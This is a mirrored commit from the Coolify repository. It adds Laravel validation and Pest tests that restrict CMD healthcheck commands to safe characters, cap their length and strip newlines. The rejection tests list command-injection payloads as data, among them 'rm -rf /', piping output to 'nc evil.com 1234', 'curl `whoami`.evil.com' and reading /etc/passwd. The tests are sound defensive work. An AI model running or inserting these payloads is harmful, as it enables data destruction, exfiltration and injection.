mirror of
https://github.com/tiennm99/coolify.git
synced 2026-10-15 00:17:16 +00:00
fix(health-checks): sanitize and validate CMD healthcheck commands
- Add regex validation to restrict allowed characters (alphanumeric, spaces, and specific safe symbols) - Enforce maximum 1000 character limit on healthcheck commands - Strip newlines and carriage returns to prevent command injection - Change input field from textarea to text input in UI - Add warning callout about prohibited shell operators - Add comprehensive validation tests for both valid and malicious command patterns
This commit is contained in:
1 parent
65d4005493
commit
609cb4190e
5 files changed
+160
-7
No files matched your search
@@ -0,0 +1,90 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
|
||||
$commandRules = ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'];
|
||||
|
||||
it('rejects healthCheckCommand over 1000 characters', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => str_repeat('a', 1001)],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => 'pg_isready -U postgres'],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('accepts null healthCheckCommand', function () use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => null],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('accepts simple commands', function ($command) use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => $command],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'pg_isready -U postgres',
|
||||
'redis-cli ping',
|
||||
'curl -f http://localhost:8080/health',
|
||||
'wget -q -O- http://localhost/health',
|
||||
'mysqladmin ping -h 127.0.0.1',
|
||||
]);
|
||||
|
||||
it('rejects commands with shell operators', function ($command) use ($commandRules) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => $command],
|
||||
['healthCheckCommand' => $commandRules]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
})->with([
|
||||
'pg_isready; rm -rf /',
|
||||
'redis-cli ping | nc evil.com 1234',
|
||||
'curl http://localhost && curl http://evil.com',
|
||||
'echo $(whoami)',
|
||||
'cat /etc/passwd > /tmp/out',
|
||||
'curl `whoami`.evil.com',
|
||||
'cmd & background',
|
||||
'echo "hello"',
|
||||
"echo 'hello'",
|
||||
'test < /etc/passwd',
|
||||
'bash -c {echo,pwned}',
|
||||
'curl http://evil.com#comment',
|
||||
'echo $HOME',
|
||||
"cmd\twith\ttabs",
|
||||
"cmd\nwith\nnewlines",
|
||||
]);
|
||||
|
||||
it('rejects invalid healthCheckType', function () {
|
||||
$validator = Validator::make(
|
||||
['healthCheckType' => 'exec'],
|
||||
['healthCheckType' => 'string|in:http,cmd']
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('accepts valid healthCheckType values', function ($type) {
|
||||
$validator = Validator::make(
|
||||
['healthCheckType' => $type],
|
||||
['healthCheckType' => 'string|in:http,cmd']
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['http', 'cmd']);
|
||||
@@ -165,12 +165,69 @@ it('allows valid health check values via API rules', function () {
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('generates CMD healthcheck command directly', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'pg_isready -U postgres',
|
||||
]);
|
||||
|
||||
expect($result)->toBe('pg_isready -U postgres');
|
||||
});
|
||||
|
||||
it('strips newlines from CMD healthcheck command', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => "redis-cli ping\n&& echo pwned",
|
||||
]);
|
||||
|
||||
expect($result)->not->toContain("\n")
|
||||
->and($result)->toBe('redis-cli ping && echo pwned');
|
||||
});
|
||||
|
||||
it('falls back to HTTP healthcheck when CMD type has empty command', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => '',
|
||||
]);
|
||||
|
||||
// Should fall through to HTTP path
|
||||
expect($result)->toContain('curl -s -X');
|
||||
});
|
||||
|
||||
it('validates healthCheckCommand rejects strings over 1000 characters', function () {
|
||||
$rules = [
|
||||
'healthCheckCommand' => 'nullable|string|max:1000',
|
||||
];
|
||||
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => str_repeat('a', 1001)],
|
||||
$rules
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates healthCheckCommand accepts strings under 1000 characters', function () {
|
||||
$rules = [
|
||||
'healthCheckCommand' => 'nullable|string|max:1000',
|
||||
];
|
||||
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => 'pg_isready -U postgres'],
|
||||
$rules
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
/**
|
||||
* Helper: Invokes the private generate_healthcheck_commands() method via reflection.
|
||||
*/
|
||||
function callGenerateHealthcheckCommands(array $overrides = []): string
|
||||
{
|
||||
$defaults = [
|
||||
'health_check_type' => 'http',
|
||||
'health_check_command' => null,
|
||||
'health_check_method' => 'GET',
|
||||
'health_check_scheme' => 'http',
|
||||
'health_check_host' => 'localhost',
|
||||
@@ -182,6 +239,8 @@ function callGenerateHealthcheckCommands(array $overrides = []): string
|
||||
$values = array_merge($defaults, $overrides);
|
||||
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
|
||||
|
||||
Reference in new issue
Block a user